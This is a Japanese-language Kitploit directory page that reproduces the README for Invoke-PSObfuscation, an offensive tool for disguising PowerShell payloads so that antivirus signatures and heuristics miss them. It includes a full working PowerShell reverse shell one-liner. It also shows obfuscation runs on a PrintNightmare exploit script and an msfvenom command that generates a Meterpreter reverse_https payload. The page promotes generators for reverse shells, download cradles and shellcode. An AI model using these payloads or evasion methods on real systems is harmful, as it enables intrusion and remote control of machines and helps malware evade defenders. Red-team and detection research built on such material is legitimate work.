Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Invoke-PSObfuscation — Windows でも Kali Linux でも、PowerShell ペイロードの個々のコンポーネントを難読化するための詳細なアプローチ。 | Kitploit
ツール/GitHubGitHub/gh0x0st/invoke-psobfuscation
ペイロード生成エクスプロイトシェルコードレッドチーミングペイロード開発
GitHubgh0x0st/invoke-psobfuscation

Invoke-PSObfuscation

Windows でも Kali Linux でも、PowerShell ペイロードの個々のコンポーネントを難読化するための詳細なアプローチ。

リポジトリを見る
284524年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Invoke-PSObfuscation

従来の難読化手法は、base64や圧縮など、既存のコードをカプセル化するレイヤーを追加する傾向があります。これらのペイロードは依然としてある程度の成功率を持ちますが、意図されたペイロードを抽出することは容易になり、一部のランチャーは頻繁に検出されるため、本質的にボトルネックが生じます。

このツールが導入するアプローチは、スクリプトの個々のコンポーネントをランダムなバリエーションで標的にして難読化し、同じ意図されたロジックを実現しながらも、ペイロード全体を単一のレイヤーにカプセル化しない方法論です。難読化ロジックの複雑さのため、結果として得られるペイロードはシグネチャによる検出が非常に困難になり、継承されたロジックをエミュレートするようにプログラムされていないヒューリスティックエンジンをすり抜けます。

このスクリプトはほとんどのペイロードを単独で正常に難読化できますが、このプロジェクトは、リバースシェルのみを生成するような専用の難読化ペイロードを提供する将来の関数を生成するための基盤フレームワークとしても機能します。

このツールが導入する手法の前段階として、Offensive Security向けにブログ記事を執筆しました。さらに進む前に、まず読んでみることをお勧めします: https://www.offensive-security.com/offsec/powershell-obfuscation/

専用ペイロード

PowerShell難読化に関する継続的な作業の一環として、このフレームワークを利用する専用ペイロードを生成するスクリプトを作成しています。これらは時間の節約に役立っており、皆様にも役立つことを願っています。このリポジトリのルートにあるそれぞれのフォルダ内にあります。

  1. Get-ReverseShell
  2. Get-DownloadCradle
  3. Get-Shellcode

コンポーネント

他の多くのプログラミング言語と同様に、PowerShellは実行可能ロジックを構成する多くの異なるコンポーネントに分解できます。これにより、ペイロード内の個々のコンポーネントを難解または理解不能な派生形に変更することで、シグネチャベースの検出を比較的容易に回避できます。

複雑なペイロードのすべてのコンポーネントを標的にすることは非常に侵襲的であることに注意してください。このツールは、制御された方法で難読化したいコンポーネントを標的にできるように構築されています。多くのシグネチャは、単にコマンドレット、変数、コメントを標的にするだけで回避できることがわかりました。PrintNightmareのような複雑なペイロードに対して使用する場合、カスタム関数のパラメータ/変数も変更されることに注意してください。結果として得られるペイロードを適切にテストし、変更された名前付きパラメータを認識していることを確認してください。

パイプやパイプライン変数などのコンポーネントタイプは、ペイロードをより難解にし、デコードを困難にするために導入されています。

サポートされているタイプ

  • エイリアス (iex)
  • コマンドレット (New-Object)
  • コメント (# および <# #>)
  • 整数 (4444)
  • メソッド ($client.GetStream())
  • 名前空間クラス (System.Net.Sockets.TCPClient)
  • パイプ (|)
  • パイプライン変数 ($_)
  • 文字列 ("値" | '値')
  • 変数 ($client)

ジェネレーター

各コンポーネントには専用のジェネレーターがあり、実行ごとにランダムに選択される静的または動的に生成される値のリストが含まれています。コンポーネントのインスタンスが複数ある場合、それぞれがジェネレーターによって個別に反復処理されます。これにより、特定のペイロードに対してツールを実行するたびにランダム性が追加され、各反復が異なります。唯一の例外は変数名です。

特定のコンポーネントに関連するアルゴリズムがペイロードのフラグ付けを引き起こし始めた場合、現在の設計により、スクリプト全体を損なうことなく、そのジェネレーターのロジックを簡単に変更できます。

root@kitploit:~
$Picker = 1..6 | Get-Random
Switch ($Picker) {
    1 { $NewValue = 'Stay' }
    2 { $NewValue = 'Off' }
    3 { $NewValue = 'Ronins' }
    4 { $NewValue = 'Lawn' }
    5 { $NewValue = 'And' }
    6 { $NewValue = 'Rocks' }
}

必要条件

このフレームワークと結果として得られるペイロードは、以下のオペレーティングシステムとPowerShellバージョンでテストされています。結果として得られるリバースシェルはPowerShell v2.0では動作しません。

使用例

CVE-2021-34527 (PrintNightmare)

root@kitploit:~
┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printnightmare.ps1

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating namespace classes
[*] Obfuscating cmdlets
[*] Obfuscating variables
[-] -DriverName is now -QhYm48JbCsqF
[-] -NewUser is now -ybrcKe
[-] -NewPassword is now -ZCA9QHerOCrEX84gMgNwnAth
[-] -DLL is now -dNr
[-] -ModuleName is now -jd
[-] -Module is now -tu3EI0q1XsGrniAUzx9WkV2o
[-] -Type is now -fjTOTLDCGufqEu
[-] -FullName is now -0vEKnCqm
[-] -EnumElements is now -B9aFqfvDbjtOXPxrR
[-] -Bitfield is now -bFUCG7LB9gq50p4e
[-] -StructFields is now -xKryDRQnLdjTC8
[-] -PackingSize is now -0CB3X
[-] -ExplicitLayout is now -YegeaeLpPnB
[*] Removing comments
[*] Writing payload to o-printnightmare.ps1
[*] Done

PS /home/tristram> 

PowerShellリバースシェル

root@kitploit:~
$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
root@kitploit:~
┌──(tristram㉿kali)-[~]
└─$ pwsh 
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1                                                                            
PS /home/tristram> Invoke-PSObfuscation -Path ./revshell.ps1 -Integers -Cmdlets -Strings -ShowChanges

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating integers
    Generator 2 >> 4444 >> $(0-0+0+0-0-0+0+4444)
    Generator 1 >> 65535 >> $((65535))
[*] Obfuscating strings
    Generator 2 >> 127.0.0.1 >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/16*49/16)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/109*50/109)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+55-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/20*46/20)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/51*49/51))
    Generator 2 >> PS  >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/1*80/1)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/86+83-86)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+32-0))
    Generator 1 >> >  >> ([string]::join('', ( (62,32) |%{ ( [char][int] $_)})) | % {$_})
[*] Obfuscating cmdlets
    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
    Generator 1 >> Out-String >> & (("Tpltq1LeZGDhcO4MunzVC5NIP-vfWow6RxXSkbjYAU0aJm3KEgH2sFQr7i8dy9B")[13,16,3,25,35,3,55,57,17,49] -join '')
[*] Writing payload to /home/tristram/obfuscated.ps1
[*] Done

難読化されたPowerShellリバースシェル

Alt text

Meterpreter PowerShellシェルコード

root@kitploit:~
┌──(tristram㉿kali)-[~]
└─$ pwsh 
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/kali> msfvenom -p windows/meterpreter/reverse_https LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f ps1 -o meterpreter.ps1
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 686 bytes
Final size of ps1 file: 3385 bytes
Saved as: meterpreter.ps1
PS /home/kali> . ./Invoke-PSObfuscation.ps1                                                                                        
PS /home/kali> Invoke-PSObfuscation -Path ./meterpreter.ps1 -Integers -Variables -OutFile o-meterpreter.ps1                     

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating integers
[*] Obfuscating variables
[*] Writing payload to o-meterpreter.ps1
[*] Done

コメントベースのヘルプ

root@kitploit:~
<#
    .SYNOPSIS
        Transforms PowerShell scripts into something obscure, unclear, or unintelligible.
    
    .DESCRIPTION
        Where most obfuscation tools tend to add layers to encapsulate standing code, such as base64 or compression, 
        they tend to leave the intended payload intact, which essentially introduces chokepoints. Invoke-PSObfuscation 
        focuses on replacing the existing components of your code, or layer 0, with alternative values. 
    
    .PARAMETER Path
        A user provided PowerShell payload via a flat file.
    
    .PARAMETER All
        The all switch is used to engage every supported component to obfuscate a given payload. This action is very intrusive
        and could result in your payload being broken. There should be no issues when using this with the vanilla reverse
        shell. However, it's recommended to target specific components with more advanced payloads. Keep in mind that some of 
        the generators introduced in this script may even confuse your ISE so be sure to test properly.
        
    .PARAMETER Aliases
        The aliases switch is used to instruct the function to obfuscate aliases.

    .PARAMETER Cmdlets
        The cmdlets switch is used to instruct the function to obfuscate cmdlets.

    .PARAMETER Comments
        The comments switch is used to instruct the function to remove all comments.

    .PARAMETER Integers
        The integers switch is used to instruct the function to obfuscate integers.

    .PARAMETER Methods
        The methods switch is used to instruct the function to obfuscate method invocations.

    .PARAMETER NamespaceClasses
        The namespaceclasses switch is used to instruct the function to obfuscate namespace classes.
    
    .PARAMETER Pipes
        The pipes switch is used to instruct the function to obfuscate pipes.

    .PARAMETER PipelineVariables
        The pipeline variables switch is used to instruct the function to obfuscate pipeline variables.

    .PARAMETER ShowChanges
        The ShowChanges switch is used to instruct the script to display the raw and obfuscated values on the screen.

    .PARAMETER Strings
        The strings switch is used to instruct the function to obfuscate prompt strings.
  
    .PARAMETER Variables
        The variables switch is used to instruct the function to obfuscate variables.

    .EXAMPLE
        PS C:\> Invoke-PSObfuscation -Path .\revshell.ps1 -All
    
    .EXAMPLE
        PS C:\> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printernightmare.ps1
    
    .OUTPUTS
        System.String, System.String
    
    .NOTES
        Additional information about the function.
#>
ツールをダウンロード
PSバージョンテスト済みOSInvoke-PSObfucation.ps1リバースシェル
7.1.3Kali 2021.2サポートサポート
5.1.19041.1023Windows 10 10.0.19042サポートサポート
5.1.21996.1Windows 11 10.0.21996サポートサポート